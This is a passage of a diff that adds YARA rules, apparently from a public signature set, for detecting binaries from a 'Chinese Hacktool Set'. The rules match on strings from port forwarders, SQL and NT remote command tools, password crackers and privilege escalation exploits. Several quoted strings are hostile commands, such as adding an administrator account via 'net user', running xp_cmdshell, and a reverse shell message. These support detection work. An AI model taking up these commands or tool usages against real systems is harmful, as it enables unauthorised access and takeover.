+		$s14 = "VirtualAlloc" fullword ascii
+		$s15 = "VirtualFree" fullword ascii
+		$s16 = "ExitProcess" fullword ascii
+		$s17 = "RegCloseKey" fullword ascii
+		$s18 = "GetFileVersionInfoA" fullword ascii
+		$s19 = "ImageList_Add" fullword ascii
+		$s20 = "BitBlt" fullword ascii
+		$s21 = "ShellExecuteA" fullword ascii
+		$s22 = "ActivateKeyboardLayout" fullword ascii
+		$s23 = "BBABORT" fullword wide
+		$s25 = "BBCANCEL" fullword wide
+		$s26 = "BBCLOSE" fullword wide
+		$s27 = "BBHELP" fullword wide
+		$s28 = "BBIGNORE" fullword wide
+		$s29 = "PREVIEWGLYPH" fullword wide
+		$s30 = "DLGTEMPLATE" fullword wide
+		$s31 = "TABOUTBOX" fullword wide
+		$s32 = "TFORM1" fullword wide
+		$s33 = "MAINICON" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and filesize > 350KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.sys"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
+		id = "0312be49-c262-5143-abfc-02d428552b86"
+	strings:
+		$s0 = "\\Device\\devIdtTool" wide
+		$s1 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s6 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+		$s7 = "IoCreateDevice" fullword ascii /* Goodware String - occured 988 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7KB and all of them
+}
+
+rule hkmjjiis6 {
+	meta:
+		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+		id = "9618c6ec-1557-5b1b-bebc-1c220bb3aba4"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "user32.dlly" ascii
+		$s3 = "runtime error" ascii
+		$s4 = "WinSta0\\Defau" ascii
+		$s5 = "AppIDFlags" fullword ascii
+		$s6 = "GetLag" fullword ascii
+		$s7 = "* FROM IIsWebInfo" ascii
+		$s8 = "wmiprvse.exe" ascii
+		$s9 = "LookupAcc" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule Dos_lcx {
+	meta:
+		description = "Chinese Hacktool Set - file lcx.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
+		id = "2f443673-bfed-5ce3-a0e6-6b59f27c9658"
+	strings:
+		$s0 = "c:\\Users\\careful_snow\\" ascii
+		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s7 = "[-] There is a error...Create a new connection." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule x_way2_5_X_way {
+	meta:
+		description = "Chinese Hacktool Set - file X-way.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
+		id = "8e878671-2a7c-5c6e-a905-05d303f42e0f"
+	strings:
+		$s0 = "TTFTPSERVERFRM" fullword wide
+		$s1 = "TPORTSCANSETFRM" fullword wide
+		$s2 = "TIISSHELLFRM" fullword wide
+		$s3 = "TADVSCANSETFRM" fullword wide
+		$s4 = "ntwdblib.dll" fullword ascii
+		$s5 = "TSNIFFERFRM" fullword wide
+		$s6 = "TCRACKSETFRM" fullword wide
+		$s7 = "TCRACKFRM" fullword wide
+		$s8 = "dbnextrow" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule tools_Sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file Sqlcmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "99d56476e539750c599f76391d717c51c4955a33"
+		id = "26e29826-d4bb-55d0-9331-a91e4473daca"
+	strings:
+		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
+		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
+		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
+		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
+		$s10 = "Error,exit!" fullword ascii
+		$s11 = "Sqlcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 3 of them
+}
+
+rule Sword1_5 {
+	meta:
+		description = "Chinese Hacktool Set - file Sword1.5.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+		id = "dff8666a-0373-5605-9012-92b2b3ec71ea"
+	strings:
+		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
+		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s6 = "ListBox_Command" fullword wide
+		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
+		$s18 = "\\Set.ini" wide
+		$s19 = "OpenFileDialog1" fullword wide
+		$s20 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 4 of them
+}
+
+rule Tools_scan {
+	meta:
+		description = "Chinese Hacktool Set - file scan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
+		id = "4601d4d0-2b7e-5937-87b6-df80ab373752"
+	strings:
+		$s2 = "Shanlu Studio" fullword wide
+		$s3 = "_AutoAttackMain" fullword ascii
+		$s4 = "_frmIpToAddr" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Dos_c {
+	meta:
+		description = "Chinese Hacktool Set - file c.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
+		id = "2e8319de-fe54-5083-968c-4707d127f072"
+	strings:
+		$s0 = "!Win32 .EXE." fullword ascii
+		$s1 = ".MPRESS1" fullword ascii
+		$s2 = ".MPRESS2" fullword ascii
+		$s3 = "XOLEHLP.dll" fullword ascii
+		$s4 = "</body></html>" fullword ascii
+		$s8 = "DtcGetTransactionManagerExA" fullword ascii  /* Goodware String - occured 12 times */
+		$s9 = "GetUserNameA" fullword ascii  /* Goodware String - occured 305 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule arpsniffer {
+	meta:
+		description = "Chinese Hacktool Set - file arpsniffer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
+		id = "78db3b18-008a-5a4e-9504-0cbe3b852046"
+	strings:
+		$s1 = "SHELL" ascii
+		$s2 = "PacketSendPacket" fullword ascii
+		$s3 = "ArpSniff" ascii
+		$s4 = "pcap_loop" fullword ascii  /* Goodware String - occured 3 times */
+		$s5 = "packet.dll" fullword ascii  /* Goodware String - occured 4 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule pw_inspector_2 {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
+		id = "795c7009-93a8-57c4-8554-f0ed5c1d50f8"
+	strings:
+		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
+		$s3 = "PW-Inspector" fullword ascii
+		$s4 = "i:o:m:M:c:lunps" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule datPcShare {
+	meta:
+		description = "Chinese Hacktool Set - file datPcShare.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
+		id = "1bf44c0d-6aa7-5486-baee-c17d3e82403f"
+	strings:
+		$s1 = "PcShare.EXE" fullword wide
+		$s2 = "MZKERNEL32.DLL" fullword ascii
+		$s3 = "PcShare" fullword wide
+		$s4 = "QQ:4564405" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule Tools_xport {
+	meta:
+		description = "Chinese Hacktool Set - file xport.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
+		id = "3223fe5b-6135-5530-a5eb-10c44f3f6277"
+	strings:
+		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
+		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
+		$s3 = "%s - command line port scanner" fullword ascii
+		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
+		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
+		$s6 = ".\\port.ini" fullword ascii
+		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
+		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s9 = "http://www.xfocus.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule Pc_xai {
+	meta:
+		description = "Chinese Hacktool Set - file xai.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
+		id = "dcf1b57b-3616-5198-bd57-18505fee91ae"
+	strings:
+		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
+		$s2 = "%SystemRoot%\\System32\\" ascii
+		$s3 = "%APPDATA%\\" ascii
+		$s4 = "---- C.Rufus Security Team ----" fullword wide
+		$s5 = "www.snzzkz.com" fullword wide
+		$s6 = "%CommonProgramFiles%\\" ascii
+		$s7 = "GetRand.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Radmin_Hash {
+	meta:
+		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
+		id = "07761e81-15b4-5639-b766-8dc3f16e2b7a"
+	strings:
+		$s1 = "<description>IEBars</description>" fullword ascii
+		$s2 = "PECompact2" fullword ascii
+		$s3 = "Radmin, Remote Administrator" fullword wide
+		$s4 = "Radmin 3.0 Hash " fullword wide
+		$s5 = "HASH1.0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule OSEditor {
+	meta:
+		description = "Chinese Hacktool Set - file OSEditor.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
+		id = "b308852c-3436-5748-9ba6-82d4c3c5fc14"
+	strings:
+		$s1 = "OSEditor.exe" fullword wide
+		$s2 = "netsafe" wide
+		$s3 = "OSC Editor" fullword wide
+		$s4 = "GIF89" ascii
+		$s5 = "Unlock" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule GoodToolset_ms11011 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11011.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
+		id = "689b7ea3-6707-5f99-8232-438d903d414d"
+	strings:
+		$s0 = "\\i386\\Hello.pdb" ascii
+		$s1 = "OS not supported." fullword ascii
+		$s3 = "Not supported." fullword wide  /* Goodware String - occured 3 times */
+		$s4 = "SystemDefaultEUDCFont" fullword wide  /* Goodware String - occured 18 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule FreeVersion_release {
+	meta:
+		description = "Chinese Hacktool Set - file release.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
+		id = "1a603634-a00a-5f8b-a47d-c3c8065a5c3e"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "This exploit will execute \"net user " ascii
+		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
+		$s4 = "Running reverse shell" ascii
+		$s5 = "wmiprvse.exe" fullword ascii
+		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule churrasco {
+	meta:
+		description = "Chinese Hacktool Set - file churrasco.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
+		id = "99cb5a7a-85c1-57f5-b5b6-f0b1092e1e06"
+	strings:
+		$s1 = "Done, command should have ran as SYSTEM!" ascii
+		$s2 = "Running command with SYSTEM Token..." ascii
+		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
+		$s4 = "Found SYSTEM token 0x%x" ascii
+		$s5 = "Thread not impersonating, looking for another thread..." ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+rule x64_KiwiCmd {
+	meta:
+		description = "Chinese Hacktool Set - file KiwiCmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		id = "df759fd4-5d42-5dd9-81d0-ceccafcdd64d"
+	strings:
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Cmd no-gpo" fullword wide
+		$s3 = "KiwiAndCMD" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 2 of them
+}
+
+rule sql1433_SQL {
+	meta:
+		description = "Chinese Hacktool Set - file SQL.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
+		id = "fb4c5958-2e4e-5231-b0db-eca6bc3d823a"
+	strings:
+		/* WIDE: ProductName 1433 */
+		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
+		/* WIDE: ProductVersion 1,4,3,3 */
+		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 90KB and all of them
+}
+
+rule CookieTools2 {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cb67797f229fdb92360319e01277e1345305eb82"
+		id = "f227ba4b-9cad-5aac-99ab-46a8237249d4"
+	strings:
+		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
+		$s2 = "ip.asp?IP=" fullword ascii
+		$s3 = "MSIE 5.5;" fullword ascii
+		$s4 = "SOFTWARE\\Borland\\" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule cyclotron {
+	meta:
+		description = "Chinese Hacktool Set - file cyclotron.sys"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
+		id = "7099462b-2a72-56cd-8a50-27cd445eb9d2"
+	strings:
+		$s1 = "\\Device\\IDTProt" wide
+		$s2 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "\\??\\slIDTProt" wide
+		$s4 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s5 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3KB and all of them
+}
+
+rule xscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file xscan_gui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
+		id = "fee11058-e75f-5d8f-8d10-06dcaed99df1"
+	strings:
+		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
+		$s2 = "www.target.com" fullword ascii
+		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
+		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Tools_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		id = "82d9cd61-8cef-56b4-8dfe-a28edaa781b8"
+	strings:
+		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
+		$s3 = "%s -h www.target.com -all" fullword ascii
+		$s4 = ".\\report\\%s-%s.html" fullword ascii
+		$s5 = ".\\log\\Hscan.log" fullword ascii
+		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
+		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule GoodToolset_pr {
+	meta:
+		description = "Chinese Hacktool Set - file pr.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
+		id = "d00e1873-f2a5-5e89-9223-ead418e2667c"
+	strings:
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "-->This exploit gives you a Local System shell " ascii
+		$s3 = "wmiprvse.exe" fullword ascii
+		$s4 = "Try the first %d time" fullword ascii
+		$s5 = "-->Build&&Change By p " ascii
+		$s6 = "root\\MicrosoftIISv2" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule hydra_7_4_1_hydra {
+	meta:
+		description = "Chinese Hacktool Set - file hydra.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
+		id = "cf692bea-091d-5be0-a012-caba01e96dde"
+	strings:
+		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
+		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
+		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
+		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule CN_Tools_srss_2 {
+	meta:
+		description = "Chinese Hacktool Set - file srss.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
+		id = "3a84fa58-ccd0-5cf0-b1e0-a8f2ca04fd3f"
+	strings:
+		$x1 = "used pepack!" fullword ascii
+
+		$s1 = "KERNEL32.dll" fullword ascii
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+		$s5 = "VirtualProtect" fullword ascii
+		$s6 = "VirtualAlloc" fullword ascii
+		$s7 = "VirtualFree" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and ( $x1 at 0 ) and filesize < 14KB and all of ($s*)
+}
+
+rule Dos_NtGod {
+	meta:
+		description = "Chinese Hacktool Set - file NtGod.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
+		id = "c2f0733d-5519-5cb8-b077-0ae8472400b4"
+	strings:
+		$s0 = "\\temp\\NtGodMode.exe" ascii
+		$s4 = "NtGodMode.exe" fullword ascii
+		$s10 = "ntgod.bat" fullword ascii
+		$s19 = "sfxcmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule CN_Tools_VNCLink {
+	meta:
+		description = "Chinese Hacktool Set - file VNCLink.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
+		id = "270dc14c-ac8f-58c2-b4ac-c10981e20a07"
+	strings:
+		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
+		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
+		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 580KB and 2 of them
+}
+
+rule tools_NTCmd {
+	meta:
+		description = "Chinese Hacktool Set - file NTCmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
+		id = "db3f28d6-dfe8-5c79-a11b-e31701e250d7"
+	strings:
+		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
+		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
+		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
+		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
+		$s6 = "NTcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and 2 of them
+}
+
+rule mysql_pwd_crack {
+	meta:
+		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
+		id = "3ddeb1c7-e124-5e9e-abcf-3856e0561165"
+	strings:
+		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
+		$s2 = "Successfully --> username %s password %s " fullword ascii
+		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
+		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
+		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
+
+rule CmdShell64 {
+	meta:
+		description = "Chinese Hacktool Set - file CmdShell64.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
+		id = "f4d69be7-f717-53f7-873e-86acbb309106"
+	strings:
+		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
+		$s2 = "ServiceCmdShell" fullword ascii
+		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
+		$s4 = "ServiceSystemShell" fullword wide
+		$s5 = "[Root@CmdShell ~]#" fullword wide
+		$s6 = "Hello Man 2015 !" fullword wide
+		$s7 = "CmdShell" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 4 of them
+}
+
+rule Ms_Viru_v {
+	meta:
+		description = "Chinese Hacktool Set - file v.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
